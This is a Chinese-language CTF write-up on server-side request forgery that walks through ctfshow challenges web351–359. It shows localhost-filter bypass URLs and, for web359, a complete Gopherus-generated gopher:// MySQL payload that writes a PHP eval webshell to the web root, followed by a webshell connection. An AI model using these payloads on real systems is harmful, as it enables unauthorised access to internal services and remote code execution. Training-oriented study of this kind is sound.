前言
是什么SSRF? 这个简单点说就是 服务端的请求伪造 就是这个如果是个 请求图片的网站 他的目的是请求外部其他网站的 图片 但是 SSRF指的是让他请求本地的图片 再展示出来 请求的是他的服务器上的图片
SSRF(Server-Side Request Forgery:服务器端请求伪造)
一种由攻击者构造形成由服务端发起请求的一个安全漏洞;
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
SSRF服务端请求的伪造演示
简单的演示 : 最简单就是这个是 远程请求的网站 可以让你加载其他的资源
目的:
请求远程的图片(为什么乱码就是因为我的代码没有设置解析图片的东西)
构造payload
加载了我本地的站点
加载了我的数据库的内容
当然如果是 http://127.0.0.1//d:/1.txt 是不是可以直接读取本地的文件了
玩法和产生:产生就是 一些网站的功能(文件的下载转发 分享 )导致的
有回显的玩法
1、内网的探针
2、伪协议实现文件的读取等操作 file
看一下源码
白盒测试
以ctfshow的题为主
web351
这个从 curl 这个函数就可以审计出是有 ssrf 的
因为没有做过滤 我们直接使用hackerbar
直接请求 或者如果你知道他的绝对路径 可以使用其他的协议 file://
web352
审计:
web353
使用域名解析代替 127.0.0.1
域名解析代替127网站获取flag:http://safe.taobao.com/flag.php
url=http://spoofed.burpcollaborator.net/flag.php
http://sudo.cc/flag.php
http://www.ruiaxx.cn/flag.php
web354
这个时候的过滤方式我们想到了几种 :
1、进制转换 (0 1 过滤二进制应该鸡鸡了)
2、省略绕过(这里不行(把127.0.0.1 搞为 127.1 0 [::] 这些都是可以的))
3、短网址绕过
4、重定向绕过(这个就是属于远程访问了)
5、域名解析 (这个多用于 搞长度限制的那些题目)
演示 进制转换
但是发现都有 01 全部淘汰
再一个就是 短网址绕过
短网址不要试了有 0的
所以直接使用 域名解析绕过
这边直接阿里云 搞一波 还是域名解析得到flag
可以自己搭建当然还可以使用重定向
web355
http://0/flag.php 这个方式绕过 或者是 127.1 这样 这个就是缩写绕过
web356
别以为略写无敌了 这个是需要linux服务器(linux服务器的特点解析)的
web357
、
查了一下 这个是域名解析函数 那这个的逻辑就变成了 当我们的http输入后边的不是域名或者ip的时候 才能 进行输出
这个只有30x重定向符合
不信先搞个普通的
再使用上面的域名
重定向不是所有的时候都可以使用的这个只能 用于 别人访问你当下的域名 进行解析的时候 这个gethostbyname 就能符号所以直接成功
web358
url=http://ctf.@127.0.0.1/flag.php # *show
@ 是专指的是当前的要访问的地址
# 用作过滤
WEB 359
看一下题目 无密码的mysql 这个是个特点 没有这个还不可以
这个考的是 我们sql注入内网的时候的场景 因为http无法访问内网 从而导致我们的探针失败 (因为他的数据库不是外网所以我们不能直接注入操作 )
但是这个时候就需要 新的协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload
由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus\
简单的说 就是你当前的这个api是个接口 内网在里面 我们重定向 让内网出来访问是 不可能的但是我们使用http又进不去 这个 gopher协议就可以帮助构造payload 从而执行
工具的用法: py --exploit 数据库
然后输入你想输入的语法就可以了
然后输入你要加密的 select <?php eval($_POST[cmd])?> into outfile '/var/www/html/cmd.php'
因为我这个是没有 python 2环境的 所以我直接使用别人解析好的了
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%63%6d%64%2e%70%68%70%27%3b%01%00%00%00%01
复制上 直接拿下 这个不对的 因为有 %出现 所以服务器会进行url 解码一次 所以我们的逻辑就是把这个加密一次
%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2563%256d%2564%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501
复制加上 前缀
执行成功
访问 cmd.php
蚁剑连接
找flag